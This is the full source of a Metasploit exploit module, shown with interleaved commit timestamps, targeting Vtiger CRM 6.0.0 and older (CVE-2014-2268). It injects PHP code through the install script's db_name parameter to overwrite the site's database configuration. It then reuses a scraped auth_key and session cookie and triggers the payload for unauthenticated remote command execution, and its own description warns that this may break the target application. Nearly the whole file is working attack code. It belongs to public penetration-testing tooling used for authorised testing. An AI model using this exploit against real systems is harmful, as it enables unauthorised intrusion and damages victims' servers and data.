2014-04-04 08:16:55 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-04-04 08:16:55 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2014-04-08 19:57:42 +00:00
|
|
|
|
|
|
|
# Application database configuration is overwritten
|
|
|
|
Rank = ManualRanking
|
2014-04-04 08:16:55 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-04-06 10:41:58 +00:00
|
|
|
'Name' => 'Vtiger Install Unauthenticated Remote Command Execution',
|
2014-04-04 08:16:55 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary command execution vulnerability in the
|
|
|
|
Vtiger install script. This module is set to ManualRanking due to this
|
2014-04-08 19:57:42 +00:00
|
|
|
module overwriting the target database configuration, which may result in
|
|
|
|
a broken web app, and you may not be able to get a session again.
|
2014-04-04 08:16:55 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-04-08 19:57:42 +00:00
|
|
|
'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
|
2014-04-04 08:16:55 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2014-2268' ],
|
|
|
|
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'],
|
|
|
|
[ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4000,
|
|
|
|
'BadChars' => "#",
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Keys' => ['php']
|
|
|
|
},
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Vtiger 6.0.0 or older', { }]],
|
2014-04-06 10:41:58 +00:00
|
|
|
'DisclosureDate' => 'Mar 5 2014',
|
2014-04-04 08:16:55 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("Injecting payload...")
|
|
|
|
rand_arg = Rex::Text.rand_text_hex(10)
|
|
|
|
res = send_request_cgi({
|
2014-04-08 19:57:42 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
|
|
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
|
|
|
|
'vars_get' => {
|
|
|
|
'module' => 'Install',
|
|
|
|
'view' => 'Index',
|
|
|
|
'mode' => 'Step5',
|
|
|
|
'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
|
|
|
|
}})
|
2014-04-04 08:16:55 +00:00
|
|
|
|
2014-04-08 19:57:42 +00:00
|
|
|
# Check timeout
|
|
|
|
if not res
|
|
|
|
print_error("Request timed out, please try again")
|
|
|
|
return
|
|
|
|
end
|
2014-04-04 08:16:55 +00:00
|
|
|
|
2014-04-08 19:57:42 +00:00
|
|
|
if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
|
|
|
|
authkey = $1
|
|
|
|
phpsessid = res.get_cookies
|
2014-04-04 08:16:55 +00:00
|
|
|
|
2014-04-08 19:57:42 +00:00
|
|
|
if authkey.blank?
|
|
|
|
print_error("No AuthKey found")
|
|
|
|
return
|
|
|
|
elsif phpsessid.blank?
|
|
|
|
print_error("No PHP Session ID found")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Retrieved Authkey : #{authkey}")
|
|
|
|
print_status("Retrieved PHPSESSID : #{phpsessid}")
|
|
|
|
|
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
|
|
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
|
|
|
|
'cookie' => phpsessid,
|
2014-04-04 08:16:55 +00:00
|
|
|
'vars_get' =>
|
2014-04-08 19:57:42 +00:00
|
|
|
{
|
|
|
|
'module' => 'Install',
|
|
|
|
'view' => 'Index',
|
|
|
|
'mode' => 'Step7',
|
|
|
|
'auth_key' => authkey
|
|
|
|
}
|
2014-04-04 08:16:55 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
print_status("Executing payload...")
|
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2014-04-08 19:57:42 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'config.inc.php'),
|
|
|
|
'vars_get' => { rand_arg => '1' }
|
2014-04-04 08:16:55 +00:00
|
|
|
})
|
2014-04-08 19:57:42 +00:00
|
|
|
else
|
|
|
|
print_error("No auth_key pattern found")
|
2014-04-04 08:16:55 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|